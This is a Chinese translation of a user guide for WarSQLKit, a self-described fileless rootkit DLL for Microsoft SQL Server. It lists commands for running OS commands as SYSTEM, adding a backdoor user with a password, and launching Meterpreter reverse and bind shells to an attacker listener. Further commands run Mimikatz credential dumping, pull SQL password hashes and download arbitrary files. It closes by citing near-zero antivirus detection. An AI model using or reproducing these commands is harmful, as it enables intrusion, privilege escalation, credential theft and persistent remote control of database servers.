“EXEC sp_cmdExec'whoami /RunSystemPriv';” # 如果在任何操作系统命令的末尾添Run / RunSystemPriv una参数,则将创建Kumpir.exe文件,并通过提升权限来运行我们的命令。可以从下图中看到输出的示例:
如您所见,当将/RunSystemPriv参数赋予whoami命令时,将创建kumpir.exe,并以用户“ NT AUTHORITY\SYSTEM”的权限运行该命令。我将向您展示Windows命令的另一个示例,如下:
“EXEC sp_cmdExec'"net user sKyWiPer P@ssw0rd1 /add" /RunSystemPriv';” #使用此命令通过net user命令创建一个名为sKyWiPer的用户,该用户的密码为P@ssw0rd1。我用双引号包含了我的经典Windows命令,后跟/ RunSystemPriv参数。这将通过kumpir.exe并运行我在操作系统上双引号之间包含的命令。
重要说明:WarSQLKit通过将所有非sp_ 命令评估为操作系统命令来尝试执行命令。ozelsp_basinda是我在rootkit中定义的所有特殊参数中的第一个。
“EXEC sp_cmdExec'powershell Get-Acl /RunSystemPS';” 您可以通过WarSQLKit运行任何powershell代码。当您在运行的powershell代码的末尾添加“ /RunSystemPS una”参数时,将使用SYSTEM用户的权限来执行powershell命令。在以下示例中,您可以看到Get-Acl poweshell命令的输出。
“EXEC sp_cmdExec'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';” 我们可以在WarSQLKit上运行meterpreter有效负载,目前支持4个meterpreter负载。“ Sp_meterpreter_reverse_tcp”向我们返回经典的“windows/meterpreter/reverse_tcp"有效负载。此有效负载需要LHOST和LPORT作为参数。在我们的Kali主机中,通过利用exploit/multi/handler将任何端口更改为列表模式后,我们可以通过WarSQLKit执行反向连接。在命令末尾添加“ GetSystem”参数以允许我们的有效负载以SYSTEM权限进行反向连接。我们的Meterpreter有效负载将通过Kumpir.exe执行,并为我们提供“ NT AUTHORITY\SYSTEM”的权限。如果需要,可以删除GetSystem参数。如果没有GetSystem参数,我们将获得与SQL Server运行的权限的反向连接。示例代码如下: “EXEC sp_cmdExec'sp_meterpreter_reverse_tcp 192.168.139.129 4444 GetSystem';”
注意:在Kali中将有效负载设置为“ exploit/multi/handler”之后,需要为WarSQLKit中可用的所有有效负载输入“ set EXITFUNC none ”。如果不设置此值,则不会收到反向连接。
“EXEC sp_cmdExec'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';” #使用此命令,您可以在x64架构的服务器上运行reverse_tcp有效负载。
“EXEC sp_cmdExec'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem';” # 使用此命令,您可以在SQL Server上运行RC4类型的meterpreter有效负载。
提示:对于 “windows/meterpreter/reverse_tcp_rc4”有效负载,需要设置“ set RC4PASSWORD warsql ”参数。RC4的密码默认为ars warsql。我们目前无法更改此密码。
“EXEC sp_cmdExec'sp_meterpreter_bind_tcp LPORT GetSystem';” #使用此命令,您可以在SQL Server上运行meterpreter bind_tcp有效负载。作为LPORT,您只需输入要在SQL Server中打开的端口。
“EXEC sp_cmdExec'sp_Mimikatz';” # 使用sp_Mimikatz,可以在服务器上运行mimikatz的Powershell版本。在第11小节中,我更详细地说明了这一点。运行sp_Mimikatz之后,mimikatz日志将平均保存30-60秒间隔输入到mimi.log文件中。我们运行的命令如下
保存Mimikatz输出后,我们需要运行“ select * from WarSQLKitTem ”命令。mimikatz输出如下。
当我们将Mimikatz日志粘贴到任何note应用程序中时,我们将能够以正确的格式查看它们。
“EXEC sp_cmdExec'sp_downloadFile URL Location\file.filetype 300';” #通过为sp_downloadFile提供URL,要保存的目录和超时,我们可以将任何文件下载到SQL Server。我们的命令的示例输出如下
“EXEC sp_cmdExec'sp_getSqlHash';” #使用sp_getSqlHash,我们可以获取MS-SQL用户的哈希。我们的命令输出如下。
“EXEC sp_cmdExec'sp_getProduct';” #使用此命令,我们可以查看SQL Server上运行的操作系统。
“EXEC sp_cmdExec'sp_getDatabases';” # 使用此命令,您可以在SQL Server中检索数据库的名称。
提示:WarSQLKit.dll Rootkit已通过测试,仅在以下系统上成功。除此之外,还没有在任何系统上测试过。
我将使用WarSQLKit兼容版本重新编译WarSQLi v3,并尽快发布。
作业系统 | SQL Server版 | 工作条件 |
Windows Server 2016 | SQL Server 2016 | 运行平稳 |
Windows Server 2012 R2 | SQL Server 2014 | 运行平稳 |
Windows Server 2012 | SQL Server 2012 | 运行平稳 |
Windows Server 2008 | SQL Server 2008 | 权限升级问题。我将使用Incognito编译一个新版本。 |
WarSQLKitMinimal.dll(MSSQL Fileless Rootkit)用户指南
在本节中,我将讨论WarSQLKitMinimal版本。 WarSQLKitMinimal是仅运行参数“ EXEC sp_cmdExec'cmd';”的版本。此版本不具有处理任何以“ sp_..开头”的命令的功能。这个6 KB的DLL允许您通过SQL Server将命令发送到操作系统。因此,只有操作系统才能执行命令
WarSQLKit.dll文件的扫描结果如下:
Jotti (0/18): https://virusscan.jotti.org/en-US/filescanjob/pfk61amqt4
No Distribute (0/34): https://nodistribute.com/result/3yf58I7hMdZAP6DB
Virus Total (0/62): https://www.virustotal.com/#/file/def95c032d1f1e441dfab2d99ce5de61481690eb9d72ffd5ed7c3e2f71b78309/detection
WarSQLKit_Compress.dll(Rootkit的压缩文件)的扫描结果如下:
Jotti (0/18): https://virusscan.jotti.org/en-US/filescanjob/8s08ge3o0g
No Distribute (0/34): https://nodistribute.com/result/tbv1NjPLKf5ErXMxUOg7
Virus Total (1/62): https://www.virustotal.com/#/file/a176fd965e8e7c97dc7e263339c5a6d7c8a42a8c9416a730d3e2528d12c6fdfe/detection
0x14 参考文献
https://www.cnblogs.com/backlion/p/12272799.html
https://technet.microsoft.com/en-US/library/ms187861(v=sql.110).aspx
https://autohotkey.com/mpress/mpress_web.htm
https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/clr-integration-enabling
https://blog.sqlauthority.com/2008/03/14/sql-server-2005-clr/
https://docs.microsoft.com/tr-tr/sql/t-sql/statements/alter-assembly-transact-sql
https://msdn.microsoft.com/library/bbdd51b2-a9b4-4916-ba6f-7957ac6c3f33
https://stackoverflow.com/questions/2055788/sql-server-2005-create-assembly-from-stream-with-c-sharp
原文: http://eyupcelik.com.tr/guvenlik/493-mssql-fileless-rootkit-warsqlkit